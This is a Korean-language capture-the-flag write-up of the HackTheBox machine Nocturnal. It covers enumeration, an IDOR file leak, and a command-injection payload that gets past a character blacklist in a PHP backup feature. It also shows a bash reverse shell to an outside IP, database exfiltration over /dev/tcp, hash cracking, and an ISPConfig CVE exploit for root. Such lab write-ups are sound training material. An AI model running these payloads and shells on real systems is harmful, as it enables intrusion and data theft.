HackTheBox Labs Writeup - Nocturnal

HackTheBox Labs Writeup - Nocturnal

이 글은 HackTheBox 의 Easy 난이도 머신인 Nocturnal 에 대한 Writeup이다.

User Flag

우선 nmap 으로 스캐닝해보니 22번 ssh 포트와 80번 http 포트가 열린 것을 확인할 수 있다.

$ nmap -sV -A -T4 -Pn 10.10.11.64
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-16 05:12 EDT
Nmap scan report for 10.10.11.64
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 995/tcp)
HOP RTT       ADDRESS
1   203.81 ms 10.10.14.1
2   203.84 ms 10.10.11.64

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.76 seconds

브라우저로 접속하면 nocturnal.htb 로 리다이렉트되니 /etc/hosts 에 해당 도메인을 등록했다.

echo "10.10.11.64  nocturnal.htb" | sudo tee -a /etc/hosts

브라우저로 접속하니 웹 페이지가 보인다. 대충 사용자를 생성하고 로그인했다.

Nocturnal 웹 사이트

로그인하면 업로드 화면이 출력된다. 업로드할 수 있는 파일의 확장자가 제한되어 있다. 만약 적절한 파일을 업로드하지 않으면 Invalid file type. pdf, doc, docx, xls, xlsx, odt are allowed. 라는 에러 메시지가 출력된다.

파일 업로드 페이지

업로드된 파일 링크를 클릭하면 view.php 로 접근하여 해당 파일의 데이터를 읽을 수 있다. 접근 시 GET 방식으로 usernamefile 이름을 받고 있으며, 존재하지 않는 파일에 접근하면 File does not exist. 가 발생한다.

view.php?username=moonding&file=001_docx.pdf

해당 기능을 이용해 중요한 파일 정보를 읽고 싶지만 파일 확장자 제한도 문제고, 어떤 파일을 읽어야 할지도 알 수 없다.

우선 ffuf 로 서버에 존재하는 유저 이름을 퍼징해보았다.

$ ffuf -u 'http://nocturnal.htb/view.php?username=FUZZ&file=test2.xlsx' -w '/home/kali/Desktop/SecLists-master/Usernames/Names/names.txt'   -H 'Cookie: PHPSESSID=vrvvfss7qe5lpa3fbkvq4u4376'  -fs 2985 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/view.php?username=FUZZ&file=test2.xlsx
 :: Wordlist         : FUZZ: /home/kali/Desktop/SecLists-master/Usernames/Names/names.txt
 :: Header           : Cookie: PHPSESSID=vrvvfss7qe5lpa3fbkvq4u4376
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2985
________________________________________________

admin                   [Status: 200, Size: 3037, Words: 1174, Lines: 129, Duration: 194ms]
amanda                  [Status: 200, Size: 3113, Words: 1175, Lines: 129, Duration: 191ms]

퍼징 결과 admin, amanda,tobias 유저를 발견했다.

이번엔 웹 페이지를 퍼징해보았다.

$ ffuf -u 'http://nocturnal.htb/FUZZ.php' -w '/home/kali/Desktop/SecLists-master/Discovery/Web-Content/common.txt' 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://nocturnal.htb/FUZZ.php
 :: Wordlist         : FUZZ: /home/kali/Desktop/SecLists-master/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

admin                   [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 192ms]
dashboard               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 193ms]
index                   [Status: 200, Size: 1524, Words: 272, Lines: 30, Duration: 191ms]
login                   [Status: 200, Size: 644, Words: 126, Lines: 22, Duration: 191ms]
logout                  [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 191ms]
register                [Status: 200, Size: 649, Words: 126, Lines: 22, Duration: 193ms]
view                    [Status: 302, Size: 2919, Words: 1167, Lines: 123, Duration: 191ms]

다른건 별로 중요치않지만 admin.php 페이지는 중요해보여 접속을 시도해보았으나, 바로 로그인 페이지로 리다이렉트되었다. 아마 admin 권한이 있는 사용자만 접속이 가능할 것 같다.

우선 앞서 찾아낸 사용자가 업로드한 파일에 접근해보기로 했다. http://nocturnal.htb/view.php?username=amanda&file=.pdf 에 접속하면 amanda 가 업로드한 privacy.odt 파일을 발견할 수 있다.

amanda 에 업로드된 privacy.odt 파일

privacy.odt 파일을 Ms-Word 로 열어보면 다음과 같은 내용을 가진다. 서버에서 amanda 에게 임시 암호 arHkG7HAI68X8s1J 을 주었다는 내용이다.

privacy.odt 파일 내용

로그아웃 후 amanda:arHkG7HAI68X8s1J 로 웹에 접속해보자. amanda 는 admin 권한이 있기 때문에 admin.php 페이지에 접속할 수 있다.

admin.php 페이지

admin.php 에는 서버 내 주요 데이터를 백업하는 기능이 존재한다. 대충 적당한 암호를 입력 후, 백업을 생성하고 다운로드하자.

백업 파일 생성 기능

다운로드한 파일 암호는 앞서 입력한 암호다. 안타깝게도 백업 파일 자체에는 특별한 정보가 없다. 하지만 admin.php 를 자세히 보면 이 기능 자체에 취약점이 있는 것을 확인할 수 있다. backuppassword 를 셋팅한 POST 패킷을 보내면 해당 값을 이용해 암호화된 압축 파일을 생성하는 커맨드를 실행한다. password 를 적절하게 입력하면 임의의 명령을 실행해 리버스셸을 실행할 수 있을 것이다.

<?php
if (isset($_POST['backup']) && !empty($_POST['password'])) {
    $password = cleanEntry($_POST['password']);
    $backupFile = "backups/backup_" . date('Y-m-d') . ".zip";

    if ($password === false) {
        echo "<div class='error-message'>Error: Try another password.</div>";
    } else {
        $logFile = '/tmp/backup_' . uniqid() . '.log';
       
        $command = "zip -x './backups/*' -r -P " . $password . " " . $backupFile . " .  > " . $logFile . " 2>&1 &";
        
        $descriptor_spec = [
            0 => ["pipe", "r"], // stdin
            1 => ["file", $logFile, "w"], // stdout
            2 => ["file", $logFile, "w"], // stderr
        ];

        $process = proc_open($command, $descriptor_spec, $pipes);
        if (is_resource($process)) {
            proc_close($process);
        }
... 후략 ...        

대신 password 는 아래와 같은 cleanEntry() 함수로 입력 값을 필터링하고 있으니 이를 고려해야 한다.

function cleanEntry($entry) {
    $blacklist_chars = [';', '&', '|', '$', ' ', '`', '{', '}', '&&'];

    foreach ($blacklist_chars as $char) {
        if (strpos($entry, $char) !== false) {
            return false; // Malicious input detected
        }
    }

    return htmlspecialchars($entry, ENT_QUOTES, 'UTF-8');
}

우선 리버스셸을 생성하는 bash shell 스크립트 파일인 shell 파일 생성했다. ip, port 는 적절하게 바꿔야한다.

bash -i >& /dev/tcp/10.10.14.3/4444 0>&1

이후 shell 파일 다운로드할 수 있도록 python 서버를 실행했다.

$ python -m http.server 80

이제 공격 대상 서버에서 wget 을 이용해 앞서 생성한 shell 파일을 다운로드, 실행하도록 만들 것이다.

password 에 다음과 같은 값을 전달해 로컬 머신에서 shell 파일을 다운로드시킨다.

%0Abash%09-c%09"wget%0910.10.14.3/shell"%0A
shell 파일 생성 패킷

password 에 다음 값을 전달하면 다운로드한 shell 을 실행하며 리버스셸 수립을 시도한다. 당연히 이 작업을 하기 전에 로컬 머신은 nc 로 리버스셸을 받을 준비를 해야 한다.

%0Abash%09-c%09"bash%09shell"%0A

무사히 리버스셸 수립에 성공하면 /var/www/nocturnal_database 에서 nocturnal_database.db 파일을 찾을 수 있다. nc 를 이용해 파일을 다운로드하자.

$ nc -lvnp 8888 > nocturnal_database.db
www-data@nocturnal:~/nocturnal_database$ cat nocturnal_database.db > /dev/tcp/10.10.14.3/8888
<at nocturnal_database.db > /dev/tcp/10.10.14.3/8888

다운로드한 db 를 열어 보면 각 유저의 hash 값을 얻을 수 있다.

db 파일 내용

hashcat 으로 tobias 유저의 암호를 크래킹하면 slowmotionapocalypse 인 것을 확인할 수 있다.

$ hashcat -m 0 -a 0 55c82b1ccd55ab219b3b109b07d5061d '/home/kali/Desktop/SecLists-master/Passwords/Leaked-Databases/rockyou.txt'
tobias 암호를 크래킹한 결과

tobias:slowmotionapocalypse 로 ssh 접속하면 유저 flag 를 얻을 수 있다.

$ ssh tobias@nocturnal.htb
tobias@nocturnal:~$ cat user.txt

Root Flag

ss 명령어로 열려있는 포트를 확인해보니 8080포트가 있다.

tobias@nocturnal:~$ ss -tuln
ss 명령어 실행 결과

로컬 호스트만 접속이 가능하니 ssh 포워딩을 이용하여 접속해보자. 필자는 로컬 호스트의 1234 포트와 연결했다.

$ ssh tobias@nocturnal.htb -L 1234:127.0.0.1:8080 

이제 브라우저로 localhost:1234 로 접속해보면 ISP Config 로그인 화면이 나타난다.

ISP Config 페이지

페이지 소스를 조사해보면 isp config 버전이 3.2인 것을 유추할 수 있다.

ISP Config 버전

CVE-2023-46818 exploit 을 이용하면 지정한 credential 의 shell 을 얻을 수 있다. 테스트 해본 결과 admin 유저가 tobias 와 같은 암호인 slowmotionapocalypse 을 사용하고 있다.

$ python exploit.py http://localhost:1234/ admin slowmotionapocalypse

ispconfig-shell 로 접속하면 root flag 를 얻을 수 있다.

ispconfig-shell# id
uid=0(root) gid=0(root) groups=0(root)

ispconfig-shell# cat /root/root.txt